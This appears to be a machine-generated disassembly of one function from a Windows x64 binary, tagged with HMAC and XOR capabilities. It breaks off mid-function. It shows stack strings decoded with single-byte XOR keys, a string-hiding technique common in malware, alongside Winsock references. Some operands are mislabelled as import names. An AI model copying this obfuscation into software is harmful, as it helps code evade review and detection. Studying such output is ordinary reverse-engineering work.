Function at 0x1400088b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x870
mov rax, qword [0x1402409c0]
xor rax, rsp
mov qword [rsp + 0x860], rax
xor r15d, r15d
mov qword [rsp + 0x780], r15
lea rcx, [rsp + 0x780]
call fcn.14007ef50
nop
movdqa xmm0, xmmword [0x140229140]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140228f70]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140229060]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140229270]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x140229260]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1402292c0]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x140229090]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x1402292b0]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x140229110]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x1402292d0]
movdqa xmmword [rsp + 0xe0], xmm1
mov word [rsp + 0xf0], 0x5c
mov ecx, r15d
nop word [rax + rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x52], al
add rcx, 2
cmp rcx, 0xa0
jb 0x1400089b0
mov byte [rsp + 0xf1], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x730], xmm0
mov qword [rsp + 0x740], r15
mov qword [rsp + 0x748], r15
lea rax, [rsp + 0x51]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140008a01
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0x730]
call fcn.140003a80
nop
lea rax, [rsp + 0x730]
cmp qword [rsp + 0x748], 0xf
cmova rax, qword [rsp + 0x730]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x658], rax
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x650], xmm0
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x6b0]
call fcn.14000aca0
mov rdx, qword [rsp + 0x748]
cmp rdx, 0xf
jbe 0x140008ab9
inc rdx
mov rcx, qword [rsp + 0x730]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ab4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a35d
call fcn.14008bb34
movups xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rsp + 0x730], xmm0
movups xmm1, xmmword [rsp + 0x6c0]
movups xmmword [rsp + 0x740], xmm1
mov qword [rsp + 0x768], r15
lea rdx, [rsp + 0x730]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
mov qword [rsp + 0x650], rdx
movq qword [rsp + 0x658], xmm1
mov byte [rsp + 0x718], 0
movups xmm0, xmmword [rsp + 0x650]
movups xmmword [rsp + 0x720], xmm0
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x768]
call fcn.14007f640
nop
mov qword [rsp + 0x760], r15
xor edx, edx
mov r8d, 0x5f8
lea rcx, [rsp + 0x50]
call fcn.140149f50
mov byte [rsp + 0x198], 0
mov byte [rsp + 0x4a0], 0
mov byte [rsp + 0x630], 0
mov byte [rsp + 0x640], 0
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x768]
lea rcx, [rsp + 0x760]
call fcn.140080460
nop
cmp byte [rsp + 0x630], 0
je 0x140008baf
lea rcx, [rsp + 0x4a8]
call fcn.14000a5a0
cmp byte [rsp + 0x4a0], 0
je 0x140008bc6
lea rcx, [rsp + 0x1a0]
call fcn.14000a720
cmp byte [rsp + 0x198], 0
je 0x140008c0e
lea rcx, [rsp + 0x150]
call fcn.14000a8d0
lea rcx, [rsp + 0x110]
call fcn.14000a8d0
lea rcx, [rsp + 0xd0]
call fcn.14000a8d0
lea rcx, [rsp + 0x90]
call fcn.14000a8d0
lea rcx, [rsp + 0x50]
call fcn.14000a8d0
mov qword [rsp + 0x758], r15
mov byte [rsp + 0x650], 0x68
mov al, 0x3b
mov cl, 0x1c
mov dl, 9
mov r8b, 6
mov r9b, listen
mov r10b, 0x23
movzx r11d, r8b
mov bl, 1
mov dil, recv
mov sil, reloc.WS2_32.dll_listen
xor r14d, r14d
xor al, 0x68
mov byte [rsp + 0x651], al
xor cl, 0x68
mov byte [rsp + 0x652], cl
xor dl, 0x68
mov byte [rsp + 0x653], dl
xor r8b, 0x68
mov byte [rsp + 0x654], r8b
xor r9b, 0x68
mov byte [rsp + 0x655], r9b
xor r10b, 0x68
mov byte [rsp + 0x656], r10b
xor r11b, 0x68
mov byte [rsp + 0x657], r11b
xor bl, 0x68
mov byte [rsp + 0x658], bl
xor dil, 0x68
mov byte [rsp + 0x659], dil
xor sil, 0x68
mov byte [rsp + 0x65a], sil
mov byte [rsp + 0x65b], r14b
lea rax, [rsp + 0x651]
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x651]
mov rax, r13
nop
inc rax
cmp byte [rcx + rax], r14b
jne 0x140008cd0
mov qword [rsp + 0x6a8], rax
mov byte [rsp + 0x718], r14b
movups xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rsp + 0x720], xmm0
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x670], rax
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x7e8]
call fcn.140008400
mov r8, rax
lea rdx, [rsp + 0x758]
lea rcx, [rsp + 0x760]
call fcn.140080e90
nop
cmp byte [rsp + 0x718], 0
je 0x140008d85
mov rdx, qword [rsp + 0x710]
cmp rdx, 0xf
jbe 0x140008d85
inc rdx
mov rcx, qword [rsp + 0x6f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a363
call fcn.14008bb34
nop
mov qword [rsp + 0x750], r15
mov byte [rsp + 0x650], 0x65
mov al, 0x27
mov cl, 4
mov dl, 0xb
mov r8b, reloc.WS2_32.dll_shutdown
mov r9b, 0x2a
mov r10b, 3
mov r11b, 0x21
xor bl, bl
mov dil, reloc.WS2_32.dll_send
mov sil, listen
mov r14b, 6
xor r15b, r15b
xor r12d, r12d
xor al, 0x65
mov byte [rsp + 0x651], al
xor cl, 0x65
mov byte [rsp + 0x652], cl
xor dl, 0x65
mov byte [rsp + 0x653], dl
xor r8b, 0x65
mov byte [rsp + 0x654], r8b
xor r9b, 0x65
mov byte [rsp + 0x655], r9b
xor r10b, 0x65
mov byte [rsp + 0x656], r10b
xor r11b, 0x65
mov byte [rsp + 0x657], r11b
xor bl, 0x65
mov byte [rsp + 0x658], bl
xor dil, 0x65
mov byte [rsp + 0x659], dil
xor sil, 0x65
mov byte [rsp + 0x65a], sil
xor r14b, 0x65
mov byte [rsp + 0x65b], r14b
xor r15b, 0x65
mov byte [rsp + 0x65c], r15b
mov byte [rsp + 0x65d], r12b
lea rax, [rsp + 0x651]
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x651]
mov rax, r13
inc rax
cmp byte [rcx + rax], r12b
jne 0x140008e62
mov qword [rsp + 0x6a8], rax
mov byte [rsp + 0x718], r12b
movups xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rsp + 0x720], xmm0
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x6a0], rax
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x7e8]
call fcn.140008400
mov r8, rax
lea rdx, [rsp + 0x750]
lea rcx, [rsp + 0x758]
call fcn.14007fe70
nop
cmp byte [rsp + 0x718], 0
je 0x140008f37
mov rdx, qword [rsp + 0x710]
cmp rdx, 0xf
jbe 0x140008f16
inc rdx
mov rcx, qword [rsp + 0x6f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a369
call fcn.14008bb34
xor r12d, r12d
mov qword [rsp + 0x708], r12
mov qword [rsp + 0x710], 0xf
mov byte [rsp + 0x6f8], r12b
jmp 0x140008f3a
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x770], xmm0
lea rax, [rsp + 0x778]
mov qword [rsp + 0x770], rax
xor edx, edx
lea rcx, [rsp + 0x778]
call fcn.14001afd0
nop
mov byte [rsp + 0x670], 0x52
mov al, reloc.WS2_32.dll_listen
mov cl, 0x3b
mov dl, 0x36
xor r8d, r8d
xor al, 0x52
mov byte [rsp + 0x671], al
xor cl, 0x52
mov byte [rsp + 0x672], cl
xor dl, 0x52
mov byte [rsp + 0x673], dl
mov byte [rsp + 0x674], r8b
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b0], xmm0
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], r12
lea rax, [rsp + 0x671]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140008fc1
lea rdx, [rsp + 0x671]
lea rcx, [rsp + 0x6b0]
call fcn.140003a80
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x6a0], rax
movups xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [rsp + 0x6c0]
movups xmmword [rsp + 0x680], xmm1
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], 0xf
mov byte [rsp + 0x6b0], 0
lea rdx, [rsp + 0x670]
mov rcx, qword [rsp + 0x770]
call fcn.14001ce30
mov rbx, qword [rsp + 0x770]
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x14000908c
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009087
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a36f
call fcn.14008bb34
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], 0xf
mov byte [rsp + 0x6b0], 0
mov byte [rsp + 0x650], 0x5f
mov al, 0x3b
mov cl, 0x3a
mov dl, 0x29
mov r8b, 0x36
mov r9b, 0x3c
movzx r10d, cl
mov r11b, 0x3d
mov dil, 0x3e
mov sil, 0x31
mov r14b, 0x2c
xor r15d, r15d
xor al, 0x5f
mov byte [rsp + 0x651], al
xor cl, 0x5f
mov byte [rsp + 0x652], cl
xor dl, 0x5f
mov byte [rsp + 0x653], dl
xor r8b, 0x5f
mov byte [rsp + 0x654], r8b
xor r9b, 0x5f
mov byte [rsp + 0x655], r9b
xor r10b, 0x5f
mov byte [rsp + 0x656], r10b
xor r11b, 0x5f
mov byte [rsp + 0x657], r11b
xor dil, 0x5f
mov byte [rsp + 0x658], dil
xor sil, 0x5f
mov byte [rsp + 0x659], sil
xor r14b, 0x5f
mov byte [rsp + 0x65a], r14b
mov byte [rsp + 0x65b], r15b
lea rax, [rsp + 0x651]
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x651]
mov rax, r13
inc rax
cmp byte [rcx + rax], r15b
jne 0x140009163
mov qword [rsp + 0x6a8], rax
lea rdx, [rsp + 0x6a0]
mov rcx, rbx
call fcn.14001bde0
xorps xmm0, xmm0
movups xmmword [rsp + 0x850], xmm0
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0x778]
call fcn.14001d2f0
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rsp + 0x50]
call fcn.140149f50
mov byte [rsp + 0x51], r15b
mov byte [rsp + 0x53], r15b
mov byte [rsp + 0x58], r15b
mov byte [rsp + 0x90], r15b
mov byte [rsp + 0xd0], r15b
mov byte [rsp + 0xdc], r15b
mov byte [rsp + 0x158], r15b
mov byte [rsp + 0x190], r15b
mov byte [rsp + 0x1d0], r15b
mov byte [rsp + 0x1e0], r15b
mov byte [rsp + 0x218], r15b
mov byte [rsp + 0x228], r15b
mov byte [rsp + 0x238], r15b
mov byte [rsp + 0x270], r15b
mov byte [rsp + 0x279], r15b
mov byte [rsp + 0x2b0], r15b
mov byte [rsp + 0x2c0], r15b
mov byte [rsp + 0x2c9], r15b
mov byte [rsp + 0x2cb], r15b
mov byte [rsp + 0x2d8], r15b
mov byte [rsp + 0x310], r15b
mov byte [rsp + 0x710], 0
movups xmm0, xmmword [rsp + 0x850]
movups xmmword [rsp + 0x718], xmm0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x6f8]
lea rdx, [rsp + 0x7c8]
lea rcx, [rsp + 0x750]
call fcn.140082f20
nop
lea rcx, [rsp + 0x50]
call fcn.140008270
cmp byte [rsp + 0x7e0], 0
jne 0x140009480
movdqa xmm1, xmmword [0x1402293b0]
movdqu xmmword [rsp + 0x650], xmm1
mov cl, 0x75
movzx edx, cl
mov r9b, 0x7c
mov r10b, 0x7a
mov r11b, WSAGetLastError
mov bl, reloc.WS2_32.dll_WSASetLastError
mov dil, 0x76
mov sil, 0x77
mov r14b, reloc.WS2_32.dll_gethostname
mov r15b, 0x3a
mov r12b, 0x28
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x651], al
xor byte [rsp + 0x652], r8b
xor byte [rsp + 0x653], r8b
xor byte [rsp + 0x654], r8b
xor byte [rsp + 0x655], r8b
xor byte [rsp + 0x656], r8b
xor byte [rsp + 0x657], r8b
xor byte [rsp + 0x658], r8b
xor byte [rsp + 0x659], r8b
xor byte [rsp + 0x65a], r8b
xor byte [rsp + 0x65b], r8b
xor byte [rsp + 0x65c], r8b
xor byte [rsp + 0x65d], r8b
xor byte [rsp + 0x65e], r8b
xor byte [rsp + 0x65f], r8b
xor cl, r8b
mov byte [rsp + 0x660], cl
xor dl, r8b
mov byte [rsp + 0x661], dl
xor r9b, r8b
mov byte [rsp + 0x662], r9b
xor r10b, r8b
mov byte [rsp + 0x663], r10b
xor r11b, r8b
mov byte [rsp + 0x664], r11b
xor bl, r8b
mov byte [rsp + 0x665], bl
xor dil, r8b
mov byte [rsp + 0x666], dil
xor sil, r8b
mov byte [rsp + 0x667], sil
xor r14b, r8b
mov byte [rsp + 0x668], r14b
xor r15b, r8b
mov byte [rsp + 0x669], r15b
xor r12b, r8b
mov byte [rsp + 0x66a], r12b
mov byte [rsp + 0x66b], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b0], xmm0
xor r12d, r12d
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], r12
lea rax, [rsp + 0x651]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140009410
lea rdx, [rsp + 0x651]
lea rcx, [rsp + 0x6b0]
call fcn.140003a80
nop
lea rcx, [rsp + 0x6b0]
call fcn.14000ce30
nop
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x140009480
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000947b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a375
call fcn.14008bb34
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x7b0], xmm1
mov qword [rsp + 0x7c0], r12
movdqu xmmword [rsp + 0x6e0], xmm1
mov qword [rsp + 0x6f0], r12
movdqu xmmword [rsp + 0x798], xmm1
mov qword [rsp + 0x7a8], r12
movups xmmword [rsp + 0x820], xmm0
mov r8, qword [rsp + 0x7d8]
mov rdx, qword [rsp + 0x7d0]
lea rcx, [rsp + 0x820]
call fcn.140019270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x830], xmm0
mov byte [rsp + 0x670], 0x4e
mov al, 0x26
mov cl, reloc.WS2_32.dll_gethostname
mov dl, 0x27
mov r8b, 0x2a
mov r9b, 0x3d
xor r10d, r10d
xor al, 0x4e
mov byte [rsp + 0x671], al
xor cl, 0x4e
mov byte [rsp + 0x672], cl
xor dl, 0x4e
mov byte [rsp + 0x673], dl
xor r8b, 0x4e
mov byte [rsp + 0x674], r8b
xor r9b, 0x4e
mov byte [rsp + 0x675], r9b
mov byte [rsp + 0x676], r10b
lea rax, [rsp + 0x671]
mov qword [rsp + 0x650], rax
lea rcx, [rsp + 0x671]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], r10b
jne 0x140009560
mov qword [rsp + 0x658], rax
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x650], xmm0
lea r8, [rsp + 0x650]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x820]
call fcn.1400192a0
lea rdx, [rsp + 0x6a0]
mov rcx, rax
call fcn.1400195c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x830], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x840], xmm1
mov byte [rsp + 0x6a0], 0x1f
mov al, 0x6c
mov cl, 0x7a
mov dl, 0x6d
mov r8b, 0x76
mov r9b, 0x7e
mov r10b, reloc.WS2_32.dll_WSAStartup
movzx r11d, al
xor ebx, ebx
xor al, 0x1f
mov byte [rsp + 0x6a1], al
xor cl, 0x1f
mov byte [rsp + 0x6a2], cl
xor dl, 0x1f
mov byte [rsp + 0x6a3], dl
xor r8b, 0x1f
mov byte [rsp + 0x6a4], r8b
xor r9b, 0x1f
mov byte [rsp + 0x6a5], r9b
xor r10b, 0x1f
mov byte [rsp + 0x6a6], r10b
xor r11b, 0x1f
mov byte [rsp + 0x6a7], r11b
mov byte [rsp + 0x6a8], bl
lea rax, [rsp + 0x6a1]
mov qword [rsp + 0x650], rax
lea rcx, [rsp + 0x6a1]
mov rax, r13
inc rax
cmp byte [rcx + rax], bl
jne 0x140009651
mov qword [rsp + 0x658], rax
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x650], xmm0
lea r8, [rsp + 0x650]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x820]
call fcn.1400192a0
lea rdx, [rsp + 0x670]
mov rcx, rax
call fcn.1400195c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x840], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x788], xmm1
mov byte [rsp + 0x670], 0x1e
mov al, reloc.WS2_32.dll_WSAStartup
mov cl, 0x7f
mov dl, 0x7d
mov r8b, WSAGetLastError
xor al, 0x1e
mov byte [rsp + 0x671], al
xor cl, 0x1e
mov byte [rsp + 0x672], cl
xor dl, 0x1e
mov byte [rsp + 0x673], dl
xor r8b, 0x1e
mov byte [rsp + 0x674], r8b
mov byte [rsp + 0x675], bl
lea rax, [rsp + 0x671]
mov qword [rsp + 0x650], rax
lea rcx, [rsp + 0x671]
mov rax, r13
inc rax
cmp byte [rcx + rax], bl
jne 0x140009711
mov qword [rsp + 0x658], rax
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x650], xmm0
lea r8, [rsp + 0x650]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x820]
call fcn.1400192a0
lea rdx, [rsp + 0x6a0]
mov rcx, rax
call fcn.1400195c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x788], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7e8], xmm0
movups xmmword [rsp + 0x7f8], xmm0
movups xmmword [rsp + 0x808], xmm0
lea rdx, [rsp + 0x7e8]
lea rcx, [rsp + 0x830]
call fcn.14001ae80
xorps xmm0, xmm0
movups xmmword [rsp + 0x6f8], xmm0
movups xmmword [rsp + 0x708], xmm0
movups xmmword [rsp + 0x718], xmm0
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x830]
call fcn.14001afa0
nop word [rax + rax]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x7e8]
call fcn.14001ac20
xorps xmm0, xmm0
test al, al
je 0x140009918
movups xmmword [rsp + 0x670], xmm0
movups xmmword [rsp + 0x680], xmm0
movups xmmword [rsp + 0x690], xmm0
lea rcx, [rsp + 0x7e8]
call fcn.1400036e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x670], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x680], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rsp + 0x690], xmm0
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x670]
call fcn.1400198e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b0], xmm0
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], r12
mov r8, qword [rax + 8]
mov rdx, qword [rax]
lea rcx, [rsp + 0x6b0]
call fcn.140003a80
nop
mov rax, qword [rsp + 0x7b8]
cmp rax, qword [rsp + 0x7c0]
je 0x1400098aa
lea rdx, [rsp + 0x6b0]
mov rcx, rax
call fcn.140005a00
add qword [rsp + 0x7b8], 0x20
jmp 0x1400098c3
lea r8, [rsp + 0x6b0]
mov rdx, rax
lea rcx, [rsp + 0x7b0]
call fcn.14000b040
nop
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x140009906
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009901
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a37b
call fcn.14008bb34
lea rcx, [rsp + 0x7e8]
call fcn.14001ac80
jmp 0x1400097d0
movups xmmword [rsp + 0x6b0], xmm0
movups xmmword [rsp + 0x6c0], xmm0
movups xmmword [rsp + 0x6d0], xmm0
lea rdx, [rsp + 0x6b0]
lea rcx, [rsp + 0x840]
call fcn.14001ae80
xorps xmm0, xmm0
movups xmmword [rsp + 0x6f8], xmm0
movups xmmword [rsp + 0x708], xmm0
movups xmmword [rsp + 0x718], xmm0
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x840]
call fcn.14001afa0
nop word [rax + rax]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x6b0]
call fcn.14001ac20
xorps xmm0, xmm0
test al, al
je 0x140009a4c
movups xmmword [rsp + 0x7e8], xmm0
movups xmmword [rsp + 0x7f8], xmm0
movups xmmword [rsp + 0x808], xmm0
lea rcx, [rsp + 0x6b0]
call fcn.1400036e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7f8], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rsp + 0x808], xmm0
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x7e8]
call fcn.140019750
mov eax, dword [rax]
mov dword [rsp + 0x670], eax
mov rdx, qword [rsp + 0x6e8]
cmp rdx, qword [rsp + 0x6f0]
je 0x140009a25
mov dword [rdx], eax
add qword [rsp + 0x6e8], 4
jmp 0x140009a3a
lea r8, [rsp + 0x670]
lea rcx, [rsp + 0x6e0]
call fcn.14000b340
lea rcx, [rsp + 0x6b0]
call fcn.14001ac80
jmp 0x140009980
movups xmmword [rsp + 0x670], xmm0
movups xmmword [rsp + 0x680], xmm0
movups xmmword [rsp + 0x690], xmm0
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x788]
call fcn.14001ae80
xorps xmm0, xmm0
movups xmmword [rsp + 0x6f8], xmm0
movups xmmword [rsp + 0x708], xmm0
movups xmmword [rsp + 0x718], xmm0
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x788]
call fcn.14001afa0
nop dword [rax]
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x670]
call fcn.14001ac20
test al, al
je 0x140009bf8
xorps xmm0, xmm0
movups xmmword [rsp + 0x7e8], xmm0
movups xmmword [rsp + 0x7f8], xmm0
movups xmmword [rsp + 0x808], xmm0
lea rcx, [rsp + 0x670]
call fcn.1400036e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7f8], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rsp + 0x808], xmm0
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x7e8]
call fcn.1400198e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x6b0], xmm0
mov qword [rsp + 0x6c0], r12
mov qword [rsp + 0x6c8], r12
mov r8, qword [rax + 8]
mov rdx, qword [rax]
lea rcx, [rsp + 0x6b0]
call fcn.140003a80
nop
mov rax, qword [rsp + 0x7a0]
cmp rax, qword [rsp + 0x7a8]
je 0x140009b8a
lea rdx, [rsp + 0x6b0]
mov rcx, rax
call fcn.140005a00
add qword [rsp + 0x7a0], 0x20
jmp 0x140009ba3
lea r8, [rsp + 0x6b0]
mov rdx, rax
lea rcx, [rsp + 0x798]
call fcn.14000b040
nop
mov rdx, qword [rsp + 0x6c8]
cmp rdx, 0xf
jbe 0x140009be6
inc rdx
mov rcx, qword [rsp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009be1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a381
call fcn.14008bb34
lea rcx, [rsp + 0x670]
call fcn.14001ac80
jmp 0x140009ab0
lea rdx, [rsp + 0x7b0]
lea rcx, [rsp + 0x650]
call fcn.14000a3f0
mov rcx, rax
call fcn.140008500
test al, al
jne 0x140009f2b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x6e8]
sub rax, qword [rsp + 0x6e0]
sar rax, 2
test rax, rax
je 0x140009cf0
movabs rcx, 0x3fffffffffffffff
cmp rax, rcx
ja 0x14000a387
lea rbx, [rax*4]
cmp rbx, 0x1000
jb 0x140009c95
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x14000a38c
call fcn.14008b8b0
test rax, rax
je 0x14000a398
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140009caa
test rbx, rbx
je 0x140009ca7
mov rcx, rbx
call fcn.14008b8b0
mov rsi, rax
jmp 0x140009caa
mov rsi, r12
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
lea rax, [rsi + rbx]
mov qword [rsp + 0x40], rax
mov rbx, qword [rsp + 0x6e0]
mov rdi, qword [rsp + 0x6e8]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call fcn.1401498b0
sub rdi, rbx
sar rdi, 2
lea rsi, [rsi + rdi*4]
mov qword [rsp + 0x38], rsi
jmp 0x140009cf5
mov rsi, qword [rsp + 0x38]
lea r14, [rsp + 0x30]
mov qword [rsp + 0x6a0], r14
mov rbx, qword [rsp + 0x30]
cmp rbx, rsi
je 0x140009d6b
mov edi, dword [rbx]
call fcn.140014810
cmp eax, edi
jne 0x140009d65
mov rcx, qword [r14]
test rcx, rcx
je 0x140009f2b
mov rax, qword [r14 + 0x10]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
cmp rdx, 0x1000
jb 0x140009d5b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a398
mov rcx, r8
call fcn.14008bb34
jmp 0x140009f2b
add rbx, 4
jmp 0x140009d07
mov rcx, qword [r14]
test rcx, rcx
je 0x140009db0
mov rax, qword [r14 + 0x10]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
cmp rdx, 0x1000
jb 0x140009dab
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a398
mov rcx, r8
call fcn.14008bb34
lea rdx, [rsp + 0x798]
lea rcx, [rsp + 0x650]
call fcn.14000a3f0
mov rcx, rax
call fcn.140008710
test al, al
jne 0x140009f2b
lea rcx, [rsp + 0x798]
call fcn.14000ab00
nop
mov rcx, qword [rsp + 0x6e0]
test rcx, rcx
je 0x140009e45
mov rax, qword [rsp + 0x6f0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a392
call fcn.14008bb34
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x6e0], xmm0
mov qword [rsp + 0x6f0], r12
lea rcx, [rsp + 0x7b0]
call fcn.14000ab00
nop
cmp byte [rsp + 0x7e0], 0
je 0x140009e72
mov rcx, qword [rsp + 0x7d0]
test rcx, rcx
je 0x140009e72
call qword [rsp + 0x7c8]
nop
lea rcx, [rsp + 0x778]
call fcn.14001b2a0
nop
lea rcx, [rsp + 0x750]
call fcn.140082290
nop
lea rcx, [rsp + 0x758]
call fcn.14007fd70
nop
lea rcx, [rsp + 0x760]
call fcn.140080ab0
nop
lea rcx, [rsp + 0x768]
call fcn.14007f760
nop
mov rdx, qword [rsp + 0x748]
cmp rdx, 0xf
jbe 0x140009efb
inc rdx
